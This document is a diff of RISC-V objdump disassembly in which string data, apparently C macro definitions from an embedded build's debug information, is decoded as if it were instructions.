+    5b26:	43494d4f          	fnmadd.d	fs10,fs2,fs4,fs0,rmm
+    5b2a:	505f 494f 544e      	0x544e494f505f
+    5b30:	5245                	li	tp,-15
+    5b32:	4c5f 434f 5f4b      	0x5f4b434f4c5f
+    5b38:	5246                	lw	tp,112(sp)
+    5b3a:	4545                	li	a0,17
+    5b3c:	3220                	fld	fs0,96(a2)
+    5b3e:	5f00                	lw	s0,56(a4)
+    5b40:	6f4e                	flw	ft10,208(sp)
+    5b42:	6e6e                	flw	ft8,216(sp)
+    5b44:	6c75                	lui	s8,0x1d
+    5b46:	206c                	fld	fa1,192(s0)
+    5b48:	4300                	lw	s0,0(a4)
+    5b4a:	4d5f5253          	0x4d5f5253
+    5b4e:	5048                	lw	a0,36(s0)
+    5b50:	434d                	li	t1,19
+    5b52:	544e554f          	0x544e554f
+    5b56:	5245                	li	tp,-15
+    5b58:	32203133          	0x32203133
+    5b5c:	4c500037          	lui	zero,0x4c500
+    5b60:	4349                	li	t1,18
+    5b62:	425f 5341 2045      	0x20455341425f
+    5b68:	7830                	flw	fa2,112(s0)
+    5b6a:	4330                	lw	a2,64(a4)
+    5b6c:	3030                	fld	fa2,96(s0)
+    5b6e:	3030                	fld	fa2,96(s0)
+    5b70:	3030                	fld	fa2,96(s0)
+    5b72:	4900                	lw	s0,16(a0)
+    5b74:	5152                	lw	sp,52(sp)
+    5b76:	2820                	fld	fs0,80(s0)
+    5b78:	5531                	li	a0,-20
+    5b7a:	204c                	fld	fa1,128(s0)
+    5b7c:	3c3c                	fld	fa5,120(s0)
+    5b7e:	5f5f 6972 6373      	0x637369725f5f
+    5b84:	5f76                	lw	t5,124(sp)
+    5b86:	6c78                	flw	fa4,92(s0)
+    5b88:	6e65                	lui	t3,0x19
+    5b8a:	312d                	jal	57b4 <__stack_size+0x4fb4>
+    5b8c:	0029                	c.nop	10
+    5b8e:	535f 5f43 5f32      	0x5f325f43535f
+    5b94:	49425f43          	fmadd.s	ft10,ft4,fs4,fs1,unknown
+    5b98:	444e                	lw	s0,208(sp)
+    5b9a:	3120                	fld	fs0,96(a0)
+    5b9c:	3830                	fld	fa2,112(s0)
+    5b9e:	5f00                	lw	s0,56(a4)
+    5ba0:	5746                	lw	a4,112(sp)
+    5ba2:	4952                	lw	s2,20(sp)
+    5ba4:	4554                	lw	a3,12(a0)
+    5ba6:	3020                	fld	fs0,96(s0)
+    5ba8:	3078                	fld	fa4,224(s0)
+    5baa:	3030                	fld	fa2,96(s0)
+    5bac:	0032                	c.slli	zero,0xc
+    5bae:	5f5f 695f 746e      	0x746e695f5f5f
+    5bb4:	3436                	fld	fs0,360(sp)
+    5bb6:	745f 645f 6665      	0x6665645f745f
+    5bbc:	6e69                	lui	t3,0x1a
+    5bbe:	6465                	lui	s0,0x19
+    5bc0:	3120                	fld	fs0,96(a0)
+    5bc2:	5f00                	lw	s0,56(a4)
+    5bc4:	4152                	lw	sp,20(sp)
+    5bc6:	444e                	lw	s0,208(sp)
+    5bc8:	3834                	fld	fa3,112(s0)
+    5bca:	4d5f 4c55 5f54      	0x5f544c554d5f
+    5bd0:	2031                	jal	5bdc <__stack_size+0x53dc>
+    5bd2:	3028                	fld	fa0,96(s0)
+    5bd4:	6478                	flw	fa4,76(s0)
+    5bd6:	6565                	lui	a0,0x19
+    5bd8:	5f002963          	0x5f002963
+    5bdc:	435f4353          	0x435f4353
+    5be0:	4b4c                	lw	a1,20(a4)
+    5be2:	545f 4b43 3220      	0x32204b43545f
+    5be8:	5f00                	lw	s0,56(a4)
+    5bea:	465f 544c 3233      	0x3233544c465f
+    5bf0:	4d5f 5841 315f      	0x315f58414d5f
+    5bf6:	5f30                	lw	a2,120(a4)
+    5bf8:	5845                	li	a6,-15
+    5bfa:	5f50                	lw	a2,60(a4)
+    5bfc:	205f 3833 5f00      	0x5f003833205f
+    5c02:	545f4353          	0x545f4353
+    5c06:	4152                	lw	sp,20(sp)
+    5c08:	455f4543          	0x455f4543
+    5c0c:	4556                	lw	a0,84(sp)
+    5c0e:	544e                	lw	s0,240(sp)
+    5c10:	465f 4c49 4554      	0x45544c49465f
+    5c16:	2052                	fld	ft0,272(sp)
+    5c18:	3438                	fld	fa4,104(s0)
+    5c1a:	5f00                	lw	s0,56(a4)
+    5c1c:	465f 544c 3436      	0x3436544c465f
+    5c22:	455f 5350 4c49      	0x4c495350455f
+    5c28:	5f5f4e4f          	fnmadd.q	ft8,ft10,fs5,fa1,rmm
+    5c2c:	3220                	fld	fs0,96(a2)
+    5c2e:	322e                	fld	ft4,232(sp)
+    5c30:	3032                	fld	ft0,296(sp)
+    5c32:	3434                	fld	fa3,104(s0)
+    5c34:	3036                	fld	ft0,360(sp)
+    5c36:	3934                	fld	fa3,112(a0)
+    5c38:	3532                	fld	fa0,296(sp)
+    5c3a:	3330                	fld	fa2,96(a4)
+    5c3c:	3331                	jal	5948 <__stack_size+0x5148>
+    5c3e:	3830                	fld	fa2,112(s0)
+    5c40:	3830                	fld	fa2,112(s0)
+    5c42:	3734                	fld	fa3,104(a4)
+    5c44:	3632                	fld	fa2,296(sp)
+    5c46:	36333333          	0x36333333
+    5c4a:	3831                	jal	5466 <__stack_size+0x4c66>
+    5c4c:	3631                	jal	5758 <__stack_size+0x4f58>
+    5c4e:	3034                	fld	fa3,96(s0)
+    5c50:	3236                	fld	ft4,360(sp)
+    5c52:	2d65                	jal	630a <__stack_size+0x5b0a>
+    5c54:	3631                	jal	5760 <__stack_size+0x4f60>
+    5c56:	3646                	fld	fa2,112(sp)
+    5c58:	0034                	addi	a3,sp,8
+    5c5a:	525f 4545 544e      	0x544e4545525f
+    5c60:	525f 4e41 3444      	0x34444e41525f
+    5c66:	5f38                	lw	a4,120(a4)
+    5c68:	554d                	li	a0,-13
+    5c6a:	544c                	lw	a1,44(s0)
+    5c6c:	7028                	flw	fa0,96(s0)
+    5c6e:	7274                	flw	fa3,100(a2)
+    5c70:	2029                	jal	5c7a <__stack_size+0x547a>
+    5c72:	2828                	fld	fa0,80(s0)
+    5c74:	7470                	flw	fa2,108(s0)
+    5c76:	2972                	fld	fs2,280(sp)
+    5c78:	3e2d                	jal	57b2 <__stack_size+0x4fb2>
+    5c7a:	6e5f 7765 5f2e      	0x5f2e77656e5f
+    5c80:	6572                	flw	fa0,28(sp)
+    5c82:	6e65                	lui	t3,0x19
+    5c84:	2e74                	fld	fa3,216(a2)
+    5c86:	725f 3834 5f2e      	0x5f2e3834725f
+    5c8c:	756d                	lui	a0,0xffffb
+    5c8e:	746c                	flw	fa1,108(s0)
+    5c90:	0029                	c.nop	10
+    5c92:	535f 5f43 4552      	0x45525f43535f
+    5c98:	4c41                	li	s8,16
+    5c9a:	4954                	lw	a3,20(a0)
+    5c9c:	454d                	li	a0,19
+    5c9e:	535f 4749 414e      	0x414e4749535f
+    5ca4:	534c                	lw	a1,36(a4)
+    5ca6:	3220                	fld	fs0,96(a2)
+    5ca8:	0039                	c.nop	14
+    5caa:	4e49                	li	t3,18
+    5cac:	5f54                	lw	a3,60(a4)
+    5cae:	454c                	lw	a1,12(a0)
+    5cb0:	5341                	li	t1,-16
+    5cb2:	3354                	fld	fa3,160(a4)
+    5cb4:	5f32                	lw	t5,44(sp)
+    5cb6:	494d                	li	s2,19
+    5cb8:	204e                	fld	ft0,208(sp)
+    5cba:	2d28                	fld	fa0,88(a0)
+    5cbc:	4e49                	li	t3,18
+    5cbe:	5f54                	lw	a3,60(a4)
+    5cc0:	454c                	lw	a1,12(a0)
+    5cc2:	5341                	li	t1,-16
+    5cc4:	3354                	fld	fa3,160(a4)
+    5cc6:	5f32                	lw	t5,44(sp)
+    5cc8:	414d                	li	sp,19
+    5cca:	2058                	fld	fa4,128(s0)
+    5ccc:	202d                	jal	5cf6 <__stack_size+0x54f6>
+    5cce:	2931                	jal	60ea <__stack_size+0x58ea>
+    5cd0:	5f00                	lw	s0,56(a4)
+    5cd2:	505f 4152 4d47      	0x4d474152505f
+    5cd8:	5f41                	li	t5,-16
+    5cda:	4552                	lw	a0,20(sp)
+    5cdc:	4544                	lw	s1,12(a0)
+    5cde:	4946                	lw	s2,80(sp)
+    5ce0:	454e                	lw	a0,208(sp)
+    5ce2:	455f 5458 414e      	0x414e5458455f
+    5ce8:	454d                	li	a0,19
+    5cea:	3120                	fld	fs0,96(a0)
+    5cec:	5f00                	lw	s0,56(a4)
+    5cee:	495f4353          	0x495f4353
+    5cf2:	4d5f564f          	0x4d5f564f
+    5cf6:	5841                	li	a6,-16
+    5cf8:	3620                	fld	fs0,104(a2)
+    5cfa:	0036                	c.slli	zero,0xd
+    5cfc:	5f5f 4953 455a      	0x455a49535f5f
+    5d02:	495f464f          	fnmadd.s	fa2,ft10,fs5,fs1,rmm
+    5d06:	544e                	lw	s0,240(sp)
+    5d08:	5f5f 3420 4600      	0x460034205f5f
+    5d0e:	4c5f 434f 204b      	0x204b434f4c5f
+    5d14:	0031                	c.nop	12
+    5d16:	5f5f 444c 4c42      	0x4c42444c5f5f
+    5d1c:	485f 5341 445f      	0x445f5341485f
+    5d22:	4e45                	li	t3,17
+    5d24:	5f4d524f          	fnmadd.q	ft4,fs10,fs4,fa1,unknown
+    5d28:	205f 0031 5343      	0x53430031205f
+    5d2e:	5f52                	lw	t5,52(sp)
+    5d30:	494d                	li	s2,19
+    5d32:	534e                	lw	t1,240(sp)
+    5d34:	5254                	lw	a3,36(a2)
+    5d36:	5445                	li	s0,-15
+    5d38:	2048                	fld	fa0,128(s0)
+    5d3a:	3831                	jal	5556 <__stack_size+0x4d56>
+    5d3c:	5f00                	lw	s0,56(a4)
+    5d3e:	4e41                	li	t3,16
+    5d40:	535f4953          	0x535f4953
+    5d44:	4454                	lw	a3,12(s0)
+    5d46:	4544                	lw	s1,12(a0)
+    5d48:	5f46                	lw	t5,112(sp)
+    5d4a:	2048                	fld	fa0,128(s0)
+    5d4c:	4300                	lw	s0,0(a4)
+    5d4e:	494c                	lw	a1,20(a0)
+    5d50:	544e                	lw	s0,240(sp)
+    5d52:	4d5f 4954 454d      	0x454d49544d5f
+    5d58:	3020                	fld	fs0,96(s0)
+    5d5a:	4278                	lw	a4,68(a2)
+    5d5c:	4646                	lw	a2,80(sp)
+    5d5e:	0038                	addi	a4,sp,8
+    5d60:	4f495047          	fmsub.q	ft0,fs2,fs4,fs1,unknown
+    5d64:	505f 4c55 554c      	0x554c4c55505f
+    5d6a:	5f50                	lw	a2,60(a4)
+    5d6c:	4e45                	li	t3,17
+    5d6e:	3020                	fld	fs0,96(s0)
+    5d70:	3178                	fld	fa4,224(a0)
+    5d72:	0030                	addi	a2,sp,8
+    5d74:	525f 4e41 3444      	0x34444e41525f
+    5d7a:	5f38                	lw	a4,120(a4)
+    5d7c:	554d                	li	a0,-13
+    5d7e:	544c                	lw	a1,44(s0)
+    5d80:	325f 2820 7830      	0x78302820325f
+    5d86:	3030                	fld	fa2,96(s0)
+    5d88:	3530                	fld	fa2,104(a0)
+    5d8a:	0029                	c.nop	10
+    5d8c:	535f 5f43 5053      	0x50535f43535f
+    5d92:	5741                	li	a4,-16
+    5d94:	204e                	fld	ft0,208(sp)
+    5d96:	5f003537          	lui	a0,0x5f003
+    5d9a:	435f 5f43 5553      	0x55535f43435f
+    5da0:	5050                	lw	a2,36(s0)
+    5da2:	5354524f          	fnmadd.d	ft4,fs0,fs5,fa0,unknown
+    5da6:	565f 5241 4441      	0x44415241565f
+    5dac:	4349                	li	t1,18
+    5dae:	585f 5858 3120      	0x31205858585f
+    5db4:	5f00                	lw	s0,56(a4)
+    5db6:	475f 4343 415f      	0x415f4343475f
+    5dbc:	4f54                	lw	a3,28(a4)
+    5dbe:	494d                	li	s2,19
+    5dc0:	4e495f43          	fmadd.q	ft10,fs2,ft4,fs1,unknown
+    5dc4:	5f54                	lw	a3,60(a4)
+    5dc6:	4f4c                	lw	a1,28(a4)
+    5dc8:	465f4b43          	fmadd.q	fs6,ft10,ft5,fs0,rmm
+    5dcc:	4552                	lw	a0,20(sp)
+    5dce:	2045                	jal	5e6e <__stack_size+0x566e>
+    5dd0:	0032                	c.slli	zero,0xc
+    5dd2:	5f5f 4c46 3654      	0x36544c465f5f
+    5dd8:	5f34                	lw	a3,120(a4)
+    5dda:	414d                	li	sp,19
+    5ddc:	5f58                	lw	a4,60(a4)
+    5dde:	5845                	li	a6,-15
+    5de0:	5f50                	lw	a2,60(a4)
+    5de2:	205f 3031 3432      	0x34323031205f
+    5de8:	5f00                	lw	s0,56(a4)
+    5dea:	6c5f 636f 616b      	0x616b636f6c5f
+    5df0:	6c62                	flw	fs8,24(sp)
+    5df2:	2065                	jal	5e9a <__stack_size+0x569a>
+    5df4:	5f5f 6f6c 6b63      	0x6b636f6c5f5f
+    5dfa:	615f 6e6e 746f      	0x746f6e6e615f
+    5e00:	7461                	lui	s0,0xffff8
+    5e02:	2865                	jal	5eba <__stack_size+0x56ba>
+    5e04:	6f6c                	flw	fa1,92(a4)
+    5e06:	62616b63          	bltu	sp,t1,643c <__stack_size+0x5c3c>
+    5e0a:	656c                	flw	fa1,76(a0)
+    5e0c:	0029                	c.nop	10
+    5e0e:	4346                	lw	t1,80(sp)
+    5e10:	4552                	lw	a0,20(sp)
+    5e12:	5441                	li	s0,-16
+    5e14:	5f20                	lw	s0,120(a4)
+    5e16:	4346                	lw	t1,80(sp)
+    5e18:	4552                	lw	a0,20(sp)
+    5e1a:	5441                	li	s0,-16
+    5e1c:	5f00                	lw	s0,56(a4)
+    5e1e:	685f 7361 655f      	0x655f7361685f
+    5e24:	7478                	flw	fa4,108(s0)
+    5e26:	6e65                	lui	t3,0x19
+    5e28:	6e6f6973          	csrrsi	s2,0x6e6,30
+    5e2c:	5f20                	lw	s0,120(a4)
+    5e2e:	685f 7361 665f      	0x665f7361685f
+    5e34:	6165                	addi	sp,sp,112
+    5e36:	7574                	flw	fa3,108(a0)
+    5e38:	6572                	flw	fa0,28(sp)
+    5e3a:	5f00                	lw	s0,56(a4)
+    5e3c:	525f 4745 5349      	0x53494745525f
+    5e42:	4554                	lw	a3,12(a0)
+    5e44:	5f52                	lw	t5,52(sp)
+    5e46:	5250                	lw	a2,36(a2)
+    5e48:	4645                	li	a2,17
+    5e4a:	5849                	li	a6,-14
+    5e4c:	5f5f 0020 5f5f      	0x5f5f00205f5f
+    5e52:	6e75                	lui	t3,0x1d
+    5e54:	6f6c                	flw	fa1,92(a4)
+    5e56:	28736b63          	bltu	t1,t2,60ec <__stack_size+0x58ec>
+    5e5a:	2e2e                	fld	ft8,200(sp)
+    5e5c:	292e                	fld	fs2,200(sp)
+    5e5e:	5f20                	lw	s0,120(a4)
+    5e60:	6c5f 636f 5f6b      	0x5f6b636f6c5f
+    5e66:	6e61                	lui	t3,0x18
+    5e68:	6f6e                	flw	ft10,216(sp)
+    5e6a:	6174                	flw	fa3,68(a0)
+    5e6c:	6574                	flw	fa3,76(a0)
+    5e6e:	7528                	flw	fa0,104(a0)
+    5e70:	6c6e                	flw	fs8,216(sp)
+    5e72:	5f6b636f          	jal	t1,bc468 <__stack_size+0xbbc68>
+    5e76:	7566                	flw	fa0,120(sp)
+    5e78:	636e                	flw	ft6,216(sp)
+    5e7a:	6974                	flw	fa3,84(a0)
+    5e7c:	5f286e6f          	jal	t3,8c46e <__stack_size+0x8bc6e>
+    5e80:	565f 5f41 5241      	0x52415f41565f
+    5e86:	5f5f5347          	fmsub.q	ft6,ft10,fs5,fa1,unknown
+    5e8a:	2929                	jal	62a4 <__stack_size+0x5aa4>
+    5e8c:	5300                	lw	s0,32(a4)
+    5e8e:	4454                	lw	a3,12(s0)
+    5e90:	4e49                	li	t3,18
+    5e92:	465f 4c49 4e45      	0x4e454c49465f
+    5e98:	0030204f          	fnmadd.s	ft0,ft0,ft3,ft0,rdn
+    5e9c:	4f495047          	fmsub.q	ft0,fs2,fs4,fs1,unknown
+    5ea0:	525f 5349 5f45      	0x5f455349525f
+    5ea6:	5049                	c.li	zero,-14
+    5ea8:	3020                	fld	fs0,96(s0)
+    5eaa:	3178                	fld	fa4,224(a0)
+    5eac:	53460043          	fmadd.d	ft0,fa2,fs4,fa0,rne
+    5eb0:	4e59                	li	t3,22
+    5eb2:	465f2043          	fmadd.q	ft0,ft10,ft5,fs0,rdn
+    5eb6:	434e5953          	0x434e5953
     5eba:	5f00                	lw	s0,56(a4)
-    5ebc:	5246                	lw	tp,112(sp)
-    5ebe:	4145                	li	sp,17
-    5ec0:	2044                	fld	fs1,128(s0)
-    5ec2:	7830                	flw	fa2,112(s0)
-    5ec4:	3030                	fld	fa2,96(s0)
-    5ec6:	3130                	fld	fa2,96(a0)
-    5ec8:	5500                	lw	s0,40(a0)
-    5eca:	4e49                	li	t3,18
-    5ecc:	3854                	fld	fa3,176(s0)
-    5ece:	435f 6328 2029      	0x20296328435f
-    5ed4:	5f5f 4955 544e      	0x544e49555f5f
-    5eda:	5f38                	lw	a4,120(a4)
-    5edc:	29632843          	fmadd.s	fa6,ft6,fs6,ft5,rdn
-    5ee0:	5500                	lw	s0,40(a0)
-    5ee2:	4e49                	li	t3,18
-    5ee4:	3354                	fld	fa3,160(a4)
-    5ee6:	5f32                	lw	t5,44(sp)
-    5ee8:	414d                	li	sp,19
-    5eea:	0058                	addi	a4,sp,4
-    5eec:	5f5f 7470 5f72      	0x5f7274705f5f
-    5ef2:	2074                	fld	fa3,192(s0)
-    5ef4:	6f76                	flw	ft10,92(sp)
-    5ef6:	6469                	lui	s0,0x1a
-    5ef8:	2a20                	fld	fs0,80(a2)
-    5efa:	4300                	lw	s0,0(a4)
-    5efc:	4f4c                	lw	a1,28(a4)
-    5efe:	455f4b43          	0x455f4b43
-    5f02:	414e                	lw	sp,208(sp)
-    5f04:	4c42                	lw	s8,16(sp)
-    5f06:	4445                	li	s0,17
-    5f08:	3120                	fld	fs0,96(a0)
-    5f0a:	5f00                	lw	s0,56(a4)
-    5f0c:	6e5f 6565 5f64      	0x5f6465656e5f
-    5f12:	7470                	flw	fa2,108(s0)
-    5f14:	6472                	flw	fs0,28(sp)
-    5f16:	6669                	lui	a2,0x1a
-    5f18:	5f66                	lw	t5,120(sp)
-    5f1a:	2074                	fld	fa3,192(s0)
-    5f1c:	7500                	flw	fs0,40(a0)
-    5f1e:	736e                	flw	ft6,248(sp)
-    5f20:	6769                	lui	a4,0x1a
-    5f22:	656e                	flw	fa0,216(sp)
-    5f24:	0064                	addi	s1,sp,12
-    5f26:	5f5f 5453 4344      	0x434454535f5f
-    5f2c:	485f 534f 4554      	0x4554534f485f
-    5f32:	5f44                	lw	s1,60(a4)
-    5f34:	205f 0030 5f5f      	0x5f5f0030205f
-    5f3a:	414c                	lw	a1,4(a0)
-    5f3c:	4752                	lw	a4,20(sp)
-    5f3e:	4645                	li	a2,17
-    5f40:	4c49                	li	s8,18
-    5f42:	5f45                	li	t5,-15
-    5f44:	4956                	lw	s2,84(sp)
-    5f46:	4c424953          	0x4c424953
-    5f4a:	2045                	jal	5fea <__stack_size+0x57ea>
-    5f4c:	0030                	addi	a2,sp,8
-    5f4e:	5f5f 4955 544e      	0x544e49555f5f
-    5f54:	414d                	li	sp,19
-    5f56:	5f58                	lw	a4,60(a4)
-    5f58:	29632843          	fmadd.s	fa6,ft6,fs6,ft5,rdn
-    5f5c:	6320                	flw	fs0,64(a4)
-    5f5e:	2320                	fld	fs0,64(a4)
-    5f60:	4c552023          	sw	t0,1216(a0) # 194c0 <__stack_size+0x18cc0>
-    5f64:	004c                	addi	a1,sp,4
-    5f66:	4f495047          	fmsub.q	ft0,fs2,fs4,fs1,unknown
-    5f6a:	4f5f 5455 5550      	0x555054554f5f
-    5f70:	5f54                	lw	a3,60(a4)
-    5f72:	4f58                	lw	a4,28(a4)
-    5f74:	2052                	fld	ft0,272(sp)
-    5f76:	7830                	flw	fa2,112(s0)
-    5f78:	3034                	fld	fa3,96(s0)
-    5f7a:	5f00                	lw	s0,56(a4)
-    5f7c:	6e5f 6565 5f64      	0x5f6465656e5f
-    5f82:	7470                	flw	fa2,108(s0)
-    5f84:	6472                	flw	fs0,28(sp)
-    5f86:	6669                	lui	a2,0x1a
-    5f88:	5f66                	lw	t5,120(sp)
-    5f8a:	0074                	addi	a3,sp,12
-    5f8c:	535f 5f43 514d      	0x514d5f43535f
-    5f92:	505f 4952 5f4f      	0x5f4f4952505f
-    5f98:	414d                	li	sp,19
-    5f9a:	2058                	fld	fa4,128(s0)
-    5f9c:	3431                	jal	59a8 <__stack_size+0x51a8>
-    5f9e:	5f00                	lw	s0,56(a4)
-    5fa0:	445f 544f 2053      	0x2053544f445f
-    5fa6:	202c                	fld	fa1,64(s0)
-    5fa8:	2e2e                	fld	ft8,200(sp)
-    5faa:	002e                	c.slli	zero,0xb
-    5fac:	5f525343          	fmadd.q	ft6,ft4,fs5,fa1,unknown
-    5fb0:	414d                	li	sp,19
-    5fb2:	4352                	lw	t1,20(sp)
-    5fb4:	4948                	lw	a0,20(a0)
-    5fb6:	2044                	fld	fs1,128(s0)
-    5fb8:	3031                	jal	57c4 <__stack_size+0x4fc4>
-    5fba:	5f00                	lw	s0,56(a4)
-    5fbc:	4552                	lw	a0,20(sp)
-    5fbe:	4e45                	li	t3,17
-    5fc0:	5f54                	lw	a3,60(a4)
-    5fc2:	504d                	c.li	zero,-13
-    5fc4:	505f 5335 7028      	0x70285335505f
-    5fca:	7274                	flw	fa3,100(a2)
-    5fcc:	2029                	jal	5fd6 <__stack_size+0x57d6>
-    5fce:	2828                	fld	fa0,80(s0)
-    5fd0:	7470                	flw	fa2,108(s0)
-    5fd2:	2972                	fld	fs2,280(sp)
-    5fd4:	3e2d                	jal	5b0e <__stack_size+0x530e>
-    5fd6:	705f 7335 0029      	0x297335705f
-    5fdc:	5f5f 4e49 3654      	0x36544e495f5f
-    5fe2:	5f34                	lw	a3,120(a4)
-    5fe4:	414d                	li	sp,19
-    5fe6:	5f58                	lw	a4,60(a4)
-    5fe8:	205f 7830 6637      	0x66377830205f
-    5fee:	6666                	flw	fa2,88(sp)
-    5ff0:	6666                	flw	fa2,88(sp)
-    5ff2:	6666                	flw	fa2,88(sp)
-    5ff4:	6666                	flw	fa2,88(sp)
-    5ff6:	6666                	flw	fa2,88(sp)
-    5ff8:	6666                	flw	fa2,88(sp)
-    5ffa:	6666                	flw	fa2,88(sp)
-    5ffc:	4c4c                	lw	a1,28(s0)
-    5ffe:	5f00                	lw	s0,56(a4)
-    6000:	505f4353          	0x505f4353
-    6004:	4952                	lw	s2,20(sp)
-    6006:	5449524f          	0x5449524f
-    600a:	5f59                	li	t5,-10
-    600c:	45484353          	0x45484353
-    6010:	5544                	lw	s1,44(a0)
-    6012:	494c                	lw	a1,20(a0)
-    6014:	474e                	lw	a4,208(sp)
-    6016:	3120                	fld	fs0,96(a0)
-    6018:	3130                	fld	fa2,96(a0)
-    601a:	5f00                	lw	s0,56(a4)
-    601c:	445f 4c42 485f      	0x485f4c42445f
-    6022:	5341                	li	t1,-16
-    6024:	445f 4e45 524f      	0x524f4e45445f
-    602a:	5f4d                	li	t5,-13
-    602c:	205f 0031 5f5f      	0x5f5f0031205f
-    6032:	5441                	li	s0,-16
-    6034:	4946                	lw	s2,80(sp)
-    6036:	454c                	lw	a1,12(a0)
-    6038:	565f 5349 4249      	0x42495349565f
-    603e:	454c                	lw	a1,12(a0)
-    6040:	3120                	fld	fs0,96(a0)
-    6042:	5f00                	lw	s0,56(a4)
-    6044:	465f 544c 3436      	0x3436544c465f
-    604a:	4d5f 5841 315f      	0x315f58414d5f
-    6050:	5f30                	lw	a2,120(a4)
-    6052:	5845                	li	a6,-15
-    6054:	5f50                	lw	a2,60(a4)
-    6056:	205f 3033 0038      	0x383033205f
-    605c:	5f5f 6f63 706d      	0x706d6f635f5f
-    6062:	7261                	lui	tp,0xffff8
-    6064:	665f 5f6e 5f74      	0x5f745f6e665f
-    606a:	6564                	flw	fs1,76(a0)
-    606c:	6966                	flw	fs2,88(sp)
-    606e:	656e                	flw	fa0,216(sp)
-    6070:	2064                	fld	fs1,192(s0)
-    6072:	5f00                	lw	s0,56(a4)
-    6074:	5f4e                	lw	t5,240(sp)
-    6076:	494c                	lw	a1,20(a0)
-    6078:	20535453          	0x20535453
-    607c:	5f003033          	0x5f003033
-    6080:	475f 554e 5f43      	0x5f43554e475f
-    6086:	4156                	lw	sp,84(sp)
-    6088:	4c5f 5349 5f54      	0x5f5453494c5f
-    608e:	504d4f43          	fmadd.s	ft10,fs10,ft4,fa0,rmm
-    6092:	5441                	li	s0,-16
-    6094:	4249                	li	tp,18
-    6096:	4c49                	li	s8,18
-    6098:	5449                	li	s0,-14
-    609a:	2059                	jal	6120 <__stack_size+0x5920>
-    609c:	0031                	c.nop	12
-    609e:	5f5f 5450 4452      	0x445254505f5f
-    60a4:	4649                	li	a2,18
-    60a6:	5f46                	lw	t5,112(sp)
-    60a8:	5954                	lw	a3,52(a0)
-    60aa:	4550                	lw	a2,12(a0)
-    60ac:	5f5f 6920 746e      	0x746e69205f5f
-    60b2:	7000                	flw	fs0,32(s0)
-    60b4:	7475                	lui	s0,0xffffd
-    60b6:	72616863          	bltu	sp,t1,67e6 <__stack_size+0x5fe6>
-    60ba:	755f 6c6e 636f      	0x636f6c6e755f
-    60c0:	2864656b          	0x2864656b
-    60c4:	635f 2029 705f      	0x705f2029635f
-    60ca:	7475                	lui	s0,0xffffd
-    60cc:	72616863          	bltu	sp,t1,67fc <__stack_size+0x5ffc>
-    60d0:	755f 6c6e 636f      	0x636f6c6e755f
-    60d6:	2864656b          	0x2864656b
-    60da:	635f 0029 5f5f      	0x5f5f0029635f
-    60e0:	5f434347          	fmsub.q	ft6,ft6,fs4,fa1,rmm
-    60e4:	5441                	li	s0,-16
-    60e6:	43494d4f          	fnmadd.d	fs10,fs2,fs4,fs0,rmm
-    60ea:	435f 4148 3152      	0x31524148435f
-    60f0:	5f36                	lw	t5,108(sp)
-    60f2:	5f54                	lw	a3,60(a4)
-    60f4:	4f4c                	lw	a1,28(a4)
-    60f6:	465f4b43          	fmadd.q	fs6,ft10,ft5,fs0,rmm
-    60fa:	4552                	lw	a0,20(sp)
-    60fc:	2045                	jal	619c <__stack_size+0x599c>
-    60fe:	0031                	c.nop	12
-    6100:	5f5f 4c46 3354      	0x33544c465f5f
-    6106:	5832                	lw	a6,44(sp)
-    6108:	485f 5341 445f      	0x445f5341485f
-    610e:	4e45                	li	t3,17
-    6110:	5f4d524f          	fnmadd.q	ft4,fs10,fs4,fa1,unknown
-    6114:	205f 0031 5f5f      	0x5f5f0031205f
-    611a:	43554e47          	fmsub.d	ft8,fa0,fs5,fs0,rmm
-    611e:	535f 4454 5f43      	0x5f434454535f
-    6124:	4e49                	li	t3,18
-    6126:	494c                	lw	a1,20(a0)
-    6128:	454e                	lw	a0,208(sp)
-    612a:	5f5f 3120 5f00      	0x5f0031205f5f
-    6130:	435f4353          	0x435f4353
-    6134:	5550                	lw	a2,44(a0)
-    6136:	4954                	lw	a3,20(a0)
-    6138:	454d                	li	a0,19
-    613a:	3620                	fld	fs0,104(a2)
-    613c:	5f530033          	0x5f530033
-    6140:	4649                	li	a2,18
-    6142:	4c42                	lw	s8,16(sp)
-    6144:	495f204b          	fnmsub.s	ft0,ft10,fs5,fs1,rdn
-    6148:	4246                	lw	tp,80(sp)
-    614a:	4b4c                	lw	a1,20(a4)
-    614c:	5500                	lw	s0,40(a0)
-    614e:	4e49                	li	t3,18
-    6150:	3654                	fld	fa3,168(a2)
-    6152:	5f34                	lw	a3,120(a4)
-    6154:	414d                	li	sp,19
-    6156:	0058                	addi	a4,sp,4
-    6158:	535f 5f43 5053      	0x50535f43535f
-    615e:	4441524f          	0x4441524f
-    6162:	4349                	li	t1,18
-    6164:	535f 5245 4556      	0x45565245535f
-    616a:	2052                	fld	ft0,272(sp)
-    616c:	5f003737          	lui	a4,0x5f003
-    6170:	325f4353          	0x325f4353
-    6174:	555f 4550 3120      	0x31204550555f
-    617a:	3032                	fld	ft0,296(sp)
-    617c:	5f00                	lw	s0,56(a4)
-    617e:	675f 6175 6472      	0x64726175675f
-    6184:	6465                	lui	s0,0x19
-    6186:	625f 2879 2978      	0x29782879625f
-    618c:	5f20                	lw	s0,120(a4)
-    618e:	6c5f 636f 5f6b      	0x5f6b636f6c5f
-    6194:	6e61                	lui	t3,0x18
-    6196:	6f6e                	flw	ft10,216(sp)
-    6198:	6174                	flw	fa3,68(a0)
-    619a:	6574                	flw	fa3,76(a0)
-    619c:	6728                	flw	fa0,72(a4)
-    619e:	6175                	addi	sp,sp,368
-    61a0:	6472                	flw	fs0,28(sp)
-    61a2:	6465                	lui	s0,0x19
-    61a4:	625f 2879 2978      	0x29782879625f
-    61aa:	0029                	c.nop	10
-    61ac:	535f 5f43 4941      	0x49415f43535f
-    61b2:	414d5f4f          	fnmadd.s	ft10,fs10,fs4,fs0,unknown
-    61b6:	2058                	fld	fa4,128(s0)
-    61b8:	5f003533          	0x5f003533
-    61bc:	455f 5058 524f      	0x524f5058455f
-    61c2:	2054                	fld	fa3,128(s0)
-    61c4:	5f00                	lw	s0,56(a4)
-    61c6:	505f 544d 6128      	0x6128544d505f
-    61cc:	6772                	flw	fa4,28(sp)
-    61ce:	61202973          	csrr	s2,0x612
-    61d2:	6772                	flw	fa4,28(sp)
-    61d4:	4e490073          	0x4e490073
-    61d8:	4d54                	lw	a3,28(a0)
-    61da:	5841                	li	a6,-16
-    61dc:	4d5f 4e49 2820      	0x28204e494d5f
-    61e2:	492d                	li	s2,11
-    61e4:	544e                	lw	s0,240(sp)
-    61e6:	414d                	li	sp,19
-    61e8:	5f58                	lw	a4,60(a4)
-    61ea:	414d                	li	sp,19
-    61ec:	2058                	fld	fa4,128(s0)
